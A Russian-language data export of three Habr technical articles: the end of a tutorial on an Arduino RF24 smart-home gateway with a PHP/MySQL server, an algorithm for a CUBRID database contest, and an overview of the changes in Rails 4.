В ответе присутствует полная информация о соответствующем параметре (и ответ максимально близок к той структуре, что используется при радиообмене).
Если же ответ не получен:
```
{ "message": "No answer" }
```
Теперь уже кажется, что шлюзу как-то мало задач досталось, поэтому чуть-чуть «догрузим» его функцией получения точного времени через NTP.
Т.е. наш шлюз становится еще и «датчиком» с двумя параметрами — «дата» и «время». Как это делать я уже описывал ранее (см. [Беспроводные коммуникации «умного дома». Часть вторая, практическая](http://habrahabr.ru/post/202898/)).
Опять же не забываем про «сторожевую собаку» для этого очень важного компонента нашей системы.
Когда все функции системы описаны, уже остается делом техники написать [соответствующий скетч](http://medialounge.ru/files/gate.zip).
Прошиваем iBoard, подключаем LAN-кабель, подаем питание и если все в порядке, уже можно через GET-запросы получать состояние и управлять беспроводным модулем, т.е. уже частично решили часть задач, но пока еще не слишком удобно (скоро это исправим).
Шлюз лучше расположить в центре (квартиры, дома), чтобы расстояние до всех беспроводных модулей было бы минимальным.
Можно приступать серверной части.
Считаем, что ваш сервер уже подготовлен: веб-сервер с PHP и mySQL — работают.
> **Disclaimer**: код очень далек от идеала и приводится исключительно в целях демонстрации основных принципов.
>
> Proof of concept — не более того. Если будете использовать его в этом виде — только на свой страх и риск.
#### Сервер
Для определенности сервер имеет ip-адрес 192.168.1.10. Этот адрес фигурирует в скетче выше, там же есть адрес страницы, которая должна принимать данные от шлюза: [192.168.1.10/sensors](http://192.168.1.10/sensors/) — с этой страницы и начнем.
##### База данных
Но перед тем, как начинать разрабатывать страницу — подготовим базу данных. Самый простой способ — сделать это через phpMyAdmin.
У меня база данных называется db\_sensors и содержит всего две таблицы: sensor\_list и sensor\_value (назначение таблиц отлично угадываются из их названий).
**Скрипт для создания таблиц**
```
--
-- Структура таблицы `sensor_list`
--
CREATE TABLE IF NOT EXISTS `sensor_list` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(16) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
`unit` varchar(16) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT NULL,
`comment` varchar(100) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT NULL,
`SensorID` int(11) NOT NULL,
`ParamID` int(11) NOT NULL,
`created` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`value` float NOT NULL COMMENT 'Последнее значение',
`last` datetime NOT NULL COMMENT 'Время последнего коннекта',
PRIMARY KEY (`id`)
) ;
-- --------------------------------------------------------
--
-- Структура таблицы `sensor_value`
--
CREATE TABLE IF NOT EXISTS `sensor_value` (
`id` bigint(11) NOT NULL AUTO_INCREMENT,
`sensor_id` int(11) NOT NULL,
`value` float NOT NULL,
`created` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ;
```
База готова, создаем страницу, которая бы принимала данные и сохраняла бы их в базу.
##### Логирование данных
Чтобы было проще вести отладку — сделаем эту страницу в виде формы, которая постит данные сама на себя и проверяет их на валидность.
Дополнительно введем в список обязательных данных запроса правильный ключ (который в явном виде задан в скетче шлюза) для того, чтобы принимать запросы только от «своих». Понятно, что все не слишком безопасно, но исходя из disclaimer, вполне допустимо.
Логика работы скрипта следующая:
* Первичная проверка на наличие всех необходимых параметров и проверяем валидность ключа.
* Проверяем, есть ли в таблице sensor\_list запись о таком «сенсоре». Если такой записи нет — создаем ее и получаем идентификатор записи, иначе — получаем идентификатор уже имеющейся.
* Записываем в таблицу sensor\_value соответствующее значение «сенсора».
* Дополнительно обновляем в таблице sensor\_list последнее значение соответствующего сенсора и фиксируем время последнего контакта.
Последнее сделано для того, чтобы можно было быстро получить последнее значение (выборка по первой таблице гораздо быстрее) и можно было быстро оценить, насколько эти данные актуальны.
> Кстати, выборку из этой таблицы с актуальными данными удобно использовать в качестве данных для [Universal Widget](http://habrahabr.ru/post/174793/) (жаль, что проект очень давно не обновлялся).
Скрипт подготовили, файл назвали index.php, разместили его в папке \sensors\ (относительно корня сайта).
> Архив со всеми файлами веб-сервера доступен [по ссылке](http://medialounge.ru/files/webserver.zip).
Теперь можно к нему обратиться по адресу: [192.168.1.10/sensors](http://192.168.1.10/sensors)
Если все сделано правильно, то по этому адресу откроется форма, в которую можно руками вставить тестовые значения и проверить (через phpMyAdmin, например), что данные проверяются и правильно помещаются в БД.
Если у вас уже работает радиовыключатель и шлюз — в базу будут поступать и эти данные.
Задачу логирования решили, теперь реализуем более удобный способ чтения и изменения параметров беспроводных модулей.
##### Чтение и изменение параметров модулей
Создадим другой скрипт (по адресу [192.168.1.10/tests](http://192.168.1.10/tests/)), который из себя тоже будет представлять форму, с помощью которой сервер будет формировать запросы к нашему шлюзу, получать ответы и отображать их в этой же форме.
На изображении выше уже результат отработки формы: два верхних поля и селектор — формируют данные для запроса, «ОК» — это значение параметра message из ответа, остальные параметры — соответствующие части ответа.
Парсинг ответа делаем с помощью JavaScript.
В работе этого скрипта есть маленькая хитрость. Данные формы отправляются не сразу на шлюз, а проходят через файл json-proxy.php
Такой подход позволяет обратиться к «главному» скрипту из внешней сети, при этом шлюз может оставаться во внутренней сети.
> В этом промежуточном файле следует сделать полную проверку данных, дабы уберечься от SQL-иньекций.
С этой страницей уже гораздо удобнее работать, но опять же, пока все на уровне одного параметра конкретного датчика.
##### Главная страница центра управления
Теперь уже можно объединить наши наработки, чуть-чуть прочитать про AJAX и сделать вот такую страницу (по адресу [192.168.1.10/tests/switch.php](http://192.168.1.10/tests/switch.php)):
Для обновления данных конкретного параметра вызывается функция chekIt(701, 1, 'ch1'); (собственно, три аргумента: номер модуля, номер параметра и идентификатор div, содержимое которого надо обновить).
Страница отображает временные параметры работы модуля (чтобы сильно не напрягать наш слабенький по ресурсам шлюз) — эти данные запрашиваем раз в 5 минут.
Данные о состоянии каналов освещения и вентиляции обновляем чаще — один раз в 5 секунд (достаточно часто чтобы не приходилось долго ждать изменения состояния после нажатия соответствующей кнопки включения или выключения).
На кнопки «повешены» вызовы функции doIt():
```
```
Параметры функции: номер модуля, номер параметра и новое значение.
В самом низу страницы отображается ответ шлюза.
Данные на странице отображаются без перезагрузки, все происходит «само».
#### Результат
* Теперь радиоуправляемый выключатель работает не только сам по себе, но и удобно управляется с веб-страницы.
* Создан универсальный шлюз LAN<=>RF24, который позволяет работать с различными домашними беспроводными устройствами. Достаточно просто добавить новое устройство с таким же протоколом радиообмена — никаких изменений в коде шлюза производить не требуется.
* Настроено постоянное логирование значений сенсоров для пост-обработки (например, для анализа или построения красивых графиков).
#### Дальнейшее развитие проекта
На сервере можно организовать какую-либо дополнительную обработку данных, которая позволит реализовать различные сценарии.
К примеру: длинное нажатие на кнопку включения/выключения освещения нашего радиоуправляемого выключателя (напомню, при этом один из параметров модуля устанавливается в «1») будет приводить к запуску скрипта, который выключит все включенные источники света (естественно, они тоже должны быть оборудованы радиоуправляемыми выключателями).
На этом мой «обучающий материал» по данной теме завершен. Спасибо за внимание и извините, что «курс» так затянулся.
Спасибо [Nikita\_Rogatnev](https://geektimes.ru/users/nikita_rogatnev/) за помощь в подготовке материала к публикации. | https://habr.com/ru/post/215419/ | null | ru | null |
# Решение задачи второго конкурса CUBRID it!
Привет, Хабраюзер! Предлагаю твоему вниманию решение задачи, победившее на [втором конкурсе CUBRID it!](http://www.cubrid.org/cubrid_it) Суть конкурса заключается в поиске наиболее оптимального решения SQL задачи, используя Java или PHP. Решение чисто алгоритмическое, поэтому даже если ты не связан с CUBRID и конкурсом CUBRID it!, то все равно загляни под кат – это может быть просто интересно и даже полезно. Поехали!
#### Задача конкурса
Имеется база данных, разумеется, [CUBRID](http://www.cubrid.org/). Задача конкурса найти значение, которое чаще всего встречается в базе данных. В таблицах базы используются типы данных из ограниченного списка. Значение нужно приводить к типу string, используя стандартные функции базы данных и значение не должно состоять только из цифр. Подробное условие задачи можно найти [здесь](http://www.cubrid.org/cubrid_it#problem).
#### Решение
Во-первых, нам необходимо получить список столбцов и их типов во всех таблицах нашей базы данных. Для этого мы можем воспользоваться функциями [PDO](http://www.cubrid.org/php_cubrid_pdo) или [«родными» драйверами CUBRID](http://www.cubrid.org/php_api_for_cubrid).
Получение списка таблиц:
```
cubrid_schema( $this->conn , CUBRID_SCH_CLASS );
```
Выбрав нужные таблицы, сделаем к каждой из них запрос:
```
$result = cubrid_execute( $this->conn , "SELECT * FROM {$table['NAME']} LIMIT 0;");
$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);
```
`$column_names` и `$column_types` содержат соответственно массивы с названиями полей таблицы и типом данных каждом из них.
Далее нам необходимо сделать выборку по каждому столбцу. В общем виде запрос будет выглядеть так:
```
SELECT TO_CHAR(`fieldname`), count(*)
FROM `tablename`
GROUP BY `fieldname`
ORDER BY 2 DESC;
```
Такой запрос мы должны сделать для каждого столбца в базе данных. Запрос может незначительно изменяться, в зависимости от типа данных столбца. В результате мы получаем таблицу вида «**Значение**»-«**Количество значений в столбце**», отсортированную по убыванию количества значений. Пример результата запроса:
| **Значение** | **Количество** |
| --- | --- |
| CUBRID | 159 |
| HOLA! | 80 |
| 14,3 | 50 |
| ... | ... |
Это значит, что значение «*CUBRID*» встречается в поле таблицы 159 раз, а «*14,3*» только 50.
Запрос, который мы используем, довольно простой и очень быстрый, практически без всяких проверок, за исключением отдельных случаев. Таких запросов много – по одному на каждый столбец в базе данных, но не пугайтесь, мы не будем загружать все эти значения в память PHP, мы будем работать с указателем на результат запроса. Для удобства работы сохраним указатели на результаты запросов в виде массива.
Теперь мы должны подсчитать, какое же значение наиболее часто встречается в таблицах нашей базы данных. Для этого в цикле будем брать из нашего массива указателей один результат запроса и из него извлекать текущую строку.
Для примера возьмем три столбца *Field1*, *Field2*, *Field3*, из которых в результате запроса получились следующие данные:
*Результат запроса для поля **Field1**:*
| **Значение** | **Количество** |
| --- | --- |
| CUBRID | 159 |
| HOLA! | 80 |
| 14,3 | 50 |
| ... | ... |
*Результат запроса для поля **Field2**:*
| **Значение** | **Количество** |
| --- | --- |
| 14,3 | 160 |
| CUBRID | 100 |
| xyz | 90 |
| ... | ... |
*Результат запроса для поля **Field3**:*
| **Значение** | **Количество** |
| --- | --- |
| HOLA! | 100 |
| 14,3 | 10 |
| xyz | 5 |
| ... | ... |
Таблицы могут быть любого размера, и соответственно результат, который получается после запроса, может представлять собой очень большую таблицу.
На каждом шаге цикла мы будем считывать по одной строке этих таблиц и заносить их в специальный массив, таким образом, после первого обхода таблиц результат будет выглядеть так:
```
Array('CUBRID' => 159, '14,3' => 160, 'HOLA!' => 100)
```
На этом этапе проверяется, чтобы строка не состояла только из цифр, согласно условию задачи.
Полученные данные мы заносим в массив. Для наглядности текущий результат буду показывать в виде сводной таблицы, которая после первого обхода выглядит так:
| Значение | Field1 | Field2 | Field3 | Сумма | Потенциальное количество |
| --- | --- | --- | --- | --- | --- |
| 14,3 | - | 160 | - | **160** | **259** |
| CUBRID | 159 | - | - | **159** | **260** |
| HOLA! | - | - | 100 | **100** | **319** |
В массив вносятся данные при каждой новой итерации цикла. Дефис означает, что это значение еще не встречалось в этом столбце, а соответственно оно еще может встретиться. Но если оно встретиться, то его количество будет не больше, чем количество предыдущего найденного в том же столбце, так как эти наши таблицы результатов отсортированы по убыванию количества значений. Это означает, что даже если значение «*CUBRID*» будет следующим в столбце «*Field2*», его количество будет не больше, чем 160. «Потенциальное количество» — это то, сколько максимально может набрать данное значение, т.е. по сути «сумма дефисов». Потенциальное количество для «*CUBRID*» определяется исходя из предположения, что это значение встретится в следующей итерации в полях «*Field2*» и «*Field3*» с максимально возможным количеством (160 и 100) соответственно.
Что нам дают эти данные? Они нам говорят о том, сколько может набрать в сумме то или иное значение. Сумма + Потенциальное количество – это и есть то количество, которое теоретически может быть в итоге для текущего значения. Исходя из этого числа, мы можем сделать предположение, сможет ли оно быть первым в этом списке, или его уже можно вычеркнуть и не учитывать в дальнейшем. Дальше мы увидим, как это работает.
После следующего шага («*HOLA!*» — 80, «*CUBRID*» — 100, «*14,3*» — 10) таблица выглядит следующим образом:
| Значение | Field1 | Field2 | Field3 | Сумма | Потенциальное количество |
| --- | --- | --- | --- | --- | --- |
| CUBRID | 159 | 100 | - | **259** | **10** |
| HOLA! | 80 | - | 100 | **180** | **100** |
| 14,3 | - | 160 | 10 | **170** | **80** |
Обратите внимание на значение «*14,3*»: его сумма 170 и потенциально он может набрать только 80. Т.е. при самом удачном раскладе его количество будет 250, что уже меньше, чем у текущего лидера (*CUBRID* — 259). Значит это значение уже никогда не займет первое место в нашем списке. Так ему и надо. Мы можем смело удалять значение «14,3» из списка и больше его не учитывать. Так мы будем поступать со всеми значениями, которые не смогут стать лидерами. Таким образом, мы формируем «Топ» из тех значений, у которых есть шанс занять первое место.
При следующем шаге («*14,3*» — 50, «*xyz*» — 90, «*xyz*» — 5) мы увидим, что теперь, любое значение которого нет «Топе» не сможет набрать больше 145 (50+90+5), а значит и занять первое место. На этом можем остановить наш поиск и не смотреть оставшиеся значения в таблицах, так как эти значения просто не попадут в «Топ».
Теперь, когда у нас есть точный список претендентов на лидерство, нам достаточно найти их количество в тех столбцах, в которых у нас стоит дефис, т.е. в тех в которых у нас еще могут оставаться значения. Это делается несложными запросами вида:
```
SELECT `Field3`, count(*)
FROM `tablename`
WHERE `Field3` = `CUBRID`
GROUP BY `Field3`;
```
Просуммировав количество в разных столбцах для каждого значения, мы узнаем наиболее часто встречающееся значение в базе данных. Что собственно нам и нужно из условия задачи.
Спасибо за внимание, несколько интересных ссылок:
[Исходный код решения](https://github.com/mubinov/cubrid_it_contest_mubinov/) (лицензия GPL v2)
Интересное [решение](http://habrahabr.ru/blogs/cubrid/123727/) призера конкурса [Ekstazi](https://habrahabr.ru/users/ekstazi/)
[Задача конкурса (Англ)](http://www.cubrid.org/cubrid_it)
[Анонс конкурса на Хабре (Рус)](http://habrahabr.ru/company/cubrid/blog/120226/)
Победители конкурса ([Англ](http://www.cubrid.org/cubrid_it_winners), [Рус](http://habrahabr.ru/company/cubrid/blog/124012/))
[Документация CUBRID](http://www.cubrid.org/documentation) | https://habr.com/ru/post/125608/ | null | ru | null |
# Что нового в Rails 4
 Четвёртая версия фреймворка Ruby on Rails уже не за горами. Хотя официальной даты релиза еще нет, многие ожидают release candidate уже в начале этого года.
Эта версия фреймворка разрабатывается уже год и представляет из себя множество изменений во внутренней архитектуре. Фреймворк эволюционировал и прибрёл более модульный формат, большинство из нововведений раскидано по отдельным джэмам, для того, чтобы основной код оставался чистым. Таким образом, устаревший функционал можно официально не поддерживать, но использовать, если такая необходимость возникнет.
Во время написания этих строк Engine Yard пока что официально не поддерживает Rails 4 в наших облачных продуктах. Однако, если вы хотите таки их опробовать, вы, конечно, же сможете. Однако будьте внимательны — некоторые возможности, особенно live streaming, скорее всего не будут работать.
Если вы столкнётесь со сложностями при попытке развёртывания приложений на Rails 4, то их нужно регистрировать как [feature requests](https://support.cloud.engineyard.com/forums/30086-feature-requests), а не как баг, так как мы ещё не закончили интегрирование Rails 4 в наши продукты.
#### Заметные изменения в Rails 4
Многие вещи изменились или были переработаны в Rails 4, и было добавлено несколько новых возможностей. Хотя эта статья не является исчерпывающей, мы попробуем объяснить некоторые из самых новых и значимых нововведений.
##### Ruby 1.9.3 Minimum
Одно из самых заметных изменений в Rails 4, на которое все разработчики должны обратить внимание, это то, что теперь Ruby 1.9.3 является минимальным требованием. Поддержка 1.8.7 была полностью прекращена, но, учитывая, что большинство из нас используют 1.9.3, нет причин волноваться о поддержке 1.9.2. Фактически, [этот commit](https://github.com/rails/rails/commit/4fa615a8661eb13d4bd8a7de4d839e9883ef26ec) от Jose Valim прямо говорит пользователю, что Rails 4 требует Ruby 1.9.3+ и прерывает работу немедленно, если RUBY\_VERSION < 1.9.3.
Что это означает для вас? Во-первых, если вы используете 1.8.7 или Ruby Enterprise Edition (что фактически является 1.8.7 с небольшими возможностями настройки производительности), вам стоило бы обновиться в любом случае. Обновление с 1.8.7 до 1.9.3 может быть как безболезненным, так и достаточно сложным – всё зависит от программы, её зависимостей и того, что могло устареть между этими двумя релизами. Проследите за тем, чтобы у вас было хорошее покрытие кода, переключите интерпретатор в development mode на 1.9.3 ( с [RVM](https://rvm.io/) это крайне просто), и запустите тесты. Если вас интересуют дополнительные советы, как перейти с 1.8 на 1.9, прочитайте [эту статью](https://blog.engineyard.com/2012/prepare-your-app-for-rails-4-and-ruby-1-9/) моего коллеги из Engine Yard, Anthony Accomazzo.
В любом случае, я крайне рекоммендую всем использовать только последние стабильные версии интерпретатора с последними доступными обновлениями для достижения лучшей производительности и уровня безопасности.
##### Больше нет vendor/plugins
Папка vendor/plugins отсутствует в Rails 4. Вместо этого, вам нужно использовать Bundler с нужным путём или Git зависимостью.
Многие устаревшие вещи переместились в отдельные джемы
##### Hash-based и методы dynamic finder
Вы возможно помните, что в последних версиях Rails постоянно выдавались предупреждения деприкации “старого” синтаксиса запросов ActiveRecord. Например:
```
User.find(:first, :conditions => { … })
```
Поддержки такого синтаксиса в Rails 4 больше нет. Чтобы добавить эту функциональность в вашу программу, вам придётся установить следующий джем activerecord-deprecated\_finders gem: [github.com/rails/activerecord-deprecated\_finders](https://github.com/rails/activerecord-deprecated_finders)
##### ActiveRecord::SessionStore
Хранение сессий в базе данных — это интересная особенность многих полезных программ, особенно это касается конфиденциальной информации, но, в большинстве случаев, это не столь эффективно, как использование простого cookie. Итак, ActiveRecord::SessionStore отсутствует в Rails 4. Используйте activerecord-session\_store джем, чтобы вернуть этоту фунциональность: [github.com/rails/activerecord-session\_store](https://github.com/rails/activerecord-session_store).
Если уж быть дотошным, хранить конфиденциальную информацию в cookie — это плохая идея по многим причинам. Отсутствие шифрования (или слабое шифрование) является лишь одной из них. Лучшим решением хранения такой информации было бы использовать базу данных (защищённую сетевым уровнем доступа и самим приложением), а затем просто ссылаться на ID в объекте сессии. То бишь вместо установки целого объекта в сессии или даже мета информации об объекте, вы можете сохранить объект в базе данных и просто ссылаться на его ID внутри сессии пользователя (и поместить его мета информацию в memcached или PostgreSQL hstore).
##### ActiveResource
ActiveResource это ORM (Объектно-реляционное отображение) для сервисов, основанных на REST. Оно было удалено из Rails 4 и больше не будет выходить вместе с ним. [Guillermo Iguaran](https://twitter.com/guilleiguaran) сообщил в Yeti Media блоге, что [мотивацией для этого было то, что его поддержке не было выделено то необходимое количество любви и внимания основной команды разработчиков, которого оно заслуживает](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource). После того, как ActiveResource был отделён, им занялась отдельная команда разработчиков во главе с [Jeremy Kemper](https://github.com/jeremy). С момента отделения было добавлено много новых возможностей, так что для всех поклонников ActiveResource это должно было стать скорее хорошей новостью. Это также стало полезным для тех, кто хотел бы использовать функциональность ActiveResource без необходимости использовать для этого весь Rails. Для использования ActiveResource просто включите ‘activeresource’ джем: [github.com/rails/activeresource](https://github.com/rails/activeresource).
##### Rails Обозреватели (Observers), Кэширование страниц и действий
Возможность кэширование страниц и действий была удалена из Rails 4 в пользу кэширования под кодовым названием “Матрёшка” (Russian Doll). У DHH (David Heinemeier Hansson) есть джем, который объясняет, как работает такое кэширование (см. [github.com/rails/cache\_digests](https://github.com/rails/cache_digests) для дополнительной информации).
Учитывая отсутствие кэширования страниц и действий, необходимость в обозревателях практически отсутствует. Во многих случаях эти обозреватели используются для истечения срока кэша, который, благодаря схеме кэширования в Rails4, не так уж и необходим. Также обозревателями зачастую злоупотребляют, используя их как свалку для персистентных операций (persistence operations), где callback был бы гораздо более уместен. Так что Rails 4 выйдет без кэширования страниц, действий и обозревателей.
Чтобы включить их в программу, взгляните на:
[github.com/rails/actionpack-action\_caching](https://github.com/rails/actionpack-action_caching)
[github.com/rails/actionpack-page\_caching](https://github.com/rails/actionpack-page_caching)
[github.com/rails/rails-observers](https://github.com/rails/rails-observers)
##### Dalli вместо memcache-client
Dalli используется теперь вместе с memcached вместо memcache-клиента. Это нововведение будет одобрено многими разработчиками, так как Dalli намного шустрее, чем memcache-клиент, и позволяет использовать параллелизм (многопоточность) — тема, которая вызывает большую озабоченность в руби сообществе. Чтобы использовать эту функциональность вам нужно добавить джем “dalli” в ваш Gemfile, если он там до сих пор отсутствует и указать mem\_cache\_store как ваш cache store.
##### New Default Test Locations
Новички Rails и [TDD](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) (разработки через тестирование) зачастую смущены настройками по умолчанию и наименованиями. “Моделям” соответствуют “юниты”, тестам “контроллеров” — “функциональные” тесты и т.д. В Rails 4 это изменится для большей ясности. Наименования местонахождения тестов по умолчанию будут более схожими с наименованиями rspec конвенции для тестов на Rails:
app/models -> test/models (было test/units)
app/helpers -> test/helpers (было test/units/helpers)
app/controllers -> test/controllers (было test/functional)
app/mailers -> test/mailers (было test/functional)
Если у вас будет настроение, и вы захотите почитать о наименованиях тестов и их предназначении, то вам обязательно нужно прочитать или поучаствовать в [этой дискуссии](https://github.com/rails/rails/pull/7878). В начале комит был предназначен для переименовывания теста “интеграции” (test/integration) в “acceptance” тест. Хотя остальная часть этого запроса была принята положительно, конкретно это изменение вызвало множество дискуссий, что является “acceptance” тестом, а что нет. В конце концов автор коммита [blowmage](https://github.com/blowmage) решил оставить название таким, какое есть, чтобы не задерживать утверждение коммита, чем вызвал одобрение нескольких основных разработчиков Rails.
##### Глагол PATCH
Rails использовал “PUT” HTTP метод для изменения существующих ресурсов достаточно давно. Однако спецификация семантики HTTP подразумевает под PUT полную презетнацию ресурса. Другими словами, PUT, говоря семантически, должен содержать полную презентацию объекта, который нужно изменить. Следовательно, с технической стороны, мы делали это “неправильно” уже достаточно долго, посылая кусочки объекта, который нужно поменять, когда совершали RESTful обновления с помощью PUT.
Именно поэтому в Rails 4 эта функциональность изменена, и нужно использовать глагол PATCH. Как само название подсказывает нам, PATCH предназначен для того, чтобы пересылать кусочки информации об объекте на сервере без его полного описания. Это точнее соответствует семантике HTTP, как это описано в [RFC 5789](http://tools.ietf.org/html/rfc5789).
Как и при использовании всех RESTful форм в Rails, будет сгенерировано скрытое “\_method” поле с указаниям того, что метод “PATCH” будет использован вместо “PUT”. И как и ожидалось, маршрутизация свяжет метод PATCH с “update” действием в контроллере.
Для того, чтобы осталась обратная совместимость, бывший метод PUT также будет направлен к “update” в Rails 4.0, чтобы существующие APIs могли продолжить свою нормальную работу.
В блоге [Rails можно узнать больше информации о методе PATCH](http://weblog.rubyonrails.org/2012/2/25/edge-rails-patch-is-the-new-primary-http-method-for-updates/). Это отличное изменение, и то, что было подумано об обратной совместимости, облегчит разработчикам процес обновления.
##### Threadsafe по умолчанию
Ruby разработчики уже давно стремились достичь настоящей многопоточности без использования [GIL](http://en.wikipedia.org/wiki/Global_Interpreter_Lock), и авторы Rails понимают, что [MRI](http://en.wikipedia.org/wiki/Ruby_MRI) это не единственный способ запуска приложений в производство. Многопоточность серверов и приложений позволяет значительно увеличить производительность путём использования общих сегментов памяти и позволяет одновременное выполнение кода.
Однако, стандартный интерпретатов руби, известный как “MRI”, не является по-настоящему многопоточным. Он может выполнять код одновременно, если один поток ожидает ввода/вывода, что может позволять основным библиотекам C выполнять код одновременно, но сам код руби всё равно выполняется последовательно из-за присутствия GIL.
В Rails уже давно есть возможность запускать код многопоточно, но эта функциональность не была включена по умолчанию и это будет изменено в Rails4. Это не такое уж и большое изменение, учитывая, что вы можете включить многопоточность в большинстве Rails приложений прямо сейчас немного изменив настройки и перезапустив threadsafe сервер. Однако это стоит выделить по той причине, что сообщество руби всё больше и больше понимает необходимость одновременного выполнения кода.
Aaron Patterson обсуждает config.threadsafe! более подробно в следующей статье:
[tenderlovemaking.com/2012/06/18/removing-config-threadsafe.html](http://tenderlovemaking.com/2012/06/18/removing-config-threadsafe.html)
##### Postgres H-Store
ActiveRecord в Rails 4 будет поддерживать расширение PostgreSQL hstore. Это расширение для базы данных позволяет создавать новый тип данных в колонках PostgreSQL, который будет называться ‘hstore’, который представляет собой string-only хэш. Для большинства намерений и целей это похоже на сериализацию данных в текстовом столбце, но то, что это является теперь нативным типом данных, даёт нам солидную прибавку производительности и возможность посылать прямые запросы к этому типу данных. Это означает, что у вашего приложения будет частично non-schematic база данных без необходимости использования MongoDB, CouchDB, Riak или другого non-schematic datastore.
Hstore расширение, хоть и не является полномасштабным non-schematic решением, его интеграция в Rails будет прекрасным дополнением для многих приложений. Бывают ситуации, когда большинство ваших данных нормализировано для конкретной модели, но на некоторую информацию нужно ссылаться на лету. Вот где hstore может по-настоящему себя проявить.
Давайте приведём простой пример. Допустим, вашему приложению нужно определять новые пары типа “ключ/значение” на лету – определять схему объекта, которая будет разной у различных пользователей. Может быть это будет определённый тип формы в CMS. Приёмная доктора может захотеть узнать информацию о пациенте, а эвент-менеджеру нужна совсем другая информация. В прошлом это решалось сериализацией, но благодаря hstore у нас для этого есть нативный способ, что облегчает создание запроса.
Вы можете начать использовать hstore в PostgreSQL с помощью [activerecord-postgres-hstore](https://github.com/softa/activerecord-postgres-hstore) джема. Ryan Bates создал [подкаст](http://railscasts.com/episodes/345-hstore) на эту тему, где очень хорошо объясняет, как это работает и показывает множество примеров использования и создания запросов. Вы также можете узнать больше о hstore, читая официальную [PostgreSQL документацию](http://www.postgresql.org/docs/9.1/static/hstore.html). Хотелось бы отметить, что вы можете использовать hstore на платформе Engine Yard используя PostgreSQL 9.1+, как вашу среду базы данных. Для этого вы можете использовать созданные Chef скрипты в разделе [postgresql9-extensions](https://github.com/engineyard/ey-cloud-recipes/tree/master/cookbooks/postgresql9_extensions) на GitHub.
##### Array, MACADDR, INET, CIDR
Раз уж мы говорим о новых типах данных, поддерживаемых PostgreSQL и Rails, стоит отметить, что ActiveRecord вместе с Rails 4 будут поддерживать в PostgreSQL следующие типы данных: [Array, MACADDR, INET и CIDR](http://reefpoints.dockyard.com/ruby/2012/05/18/rails-4-sneak-peek-expanded-activerecord-support-for-postgresql-datatype.html). Хотя они обычно хранятся как строки в большинстве баз данных, PostgreSQL предостовляет поддержку нативных типов данных для каждого из них, а ActiveRecord сможет это использовать.
Типы данных INET и CIDR будут преобразованы в инстансы класса [IPAddr](http://www.ruby-doc.org/stdlib-1.9.3/libdoc/ipaddr/rdoc/index.html), массивы будут массивами, а MAC адреса на запросы будут возвращаться строками.
##### Live Streaming
[Aaron Patterson представил новую функциональность в Rails 4, называемую Live Streaming](http://tenderlovemaking.com/2012/07/30/is-it-live.html). Это фактически позволяет транслировать контент в браузер подсоединённых пользователей напрямую с сервера с помощью Server-Sent Events. И тот факт, что браузер имеет решающее значение для этого процесса должны намекнуть вам об очевидной проблеме: Internet Explorer это еще не поддерживает. Это может быть исправлено в будущих версияю IE, однако на данный момент live streaming не работает в браузере Microsoft’а.
Live Streaming в Rails 4 также открывает множество интересных возможностей для вашего приложения. Наибольшую пользу это принесёт приложениям, использующим информацию, получаемую в реальном времени: биржевые сводки и финансовые приложения, игры и т.д.
Engine Yard пока что не поддерживает live streaming по ряду причин. У нас есть на выбор два веб сервера: Unicorn и Passenger. Ни один из них это пока что не поддерживает. [Passenger 4 Enterprise, разрабатываемый в данный момент компанией Phusion](http://blog.phusion.nl/2012/08/03/why-rails-4-live-streaming-is-a-big-deal/), будет поддерживать live streaming в Rails, и мы будем интегрировать Passenger 4 в наш стэк, как только от достигнет release статуса.
Этим мы не хотим сказать, что Live Streaming не доступно у Engine Yard, просто это не будет работать out-of-the-box, и требует дополнительной настройки. Мы планируем изменить это добавив возможность использования других серверов приложений. К примеру, [Puma](http://puma.io/) уже доступна, как Early Access, точно также, как и Rubinius.
##### Cache Digests (aka Russian Doll Caching)
Сache digest джэм автоматически добавляет цифровую подпись к каждому фрагменту, закэшированному в вашем приложении.
Например в вашем приложении кэшируются Authors и Posts:
```
**class Author < ActiveRecord::Base
has\_many :posts
end
class Post < ActiveRecord::Base
belongs\_to :author, touch: true
end**
```
( хочу отметить, что добавление touch: true к ассоциации belongs\_to является крайне важным, так как заставляет также менять updated\_at у Author, когда любые посты author’а обновляются)
Обычно вы бы фрагментировали кэш следующим образом:
```
<% cache [‘v1’, @author] do %>
<%= @author.name %>’s posts:
============================
<%= render @author.posts %>
<% end %>
<% cache [‘v1’, post] do %>
<%= link\_to post.title, post %>
<% end %>
```
Проблема в том, что вам нужно обновлять ключи внутри массива каждый раз, когда вы хотите изменить фрагмент кэша. Благодаря “cache digest” в Rails 4 вы можете просто просто опустить массив и Rails автоматом сгенерирует вам контрольную сумму MD5 для кэша. Когда файл изменяется, одновременно меняется и контрольная сумма, что выливается в новый “cache digest”.
Всё вышесказанное можно продемонстрировать следующим образом:
```
<% cache @author do %>
<%= @author.name %>’s posts:
============================
<%= render @author.posts %>
<% end %>
<% cache post do %>
<%= link\_to post.title, post %>
<% end %>
```
Ryan Bates объясняет это более подробно в своём [скринкасте](http://railscasts.com/episodes/387-cache-digests) (бесплатном), и вы уже можете использовать эту функциональность в Rails 3.2 приложении с помощью [cache\_digests](https://github.com/rails/cache_digests) джема.
#### Безопасность
Rails всегда старался следить за новостями на рынке безопасности и этот релиз не станет исключением. Однако для того, чтобы воспользоваться последними улучшениями безопасности и защитить себя и своё приложение, особенно когда очередная уязвимость была обнаружена, исправлена и раскрыта, вам нужно постоянно следить за тем, чтобы ваше приложение на Rails обновлялось своевременно.
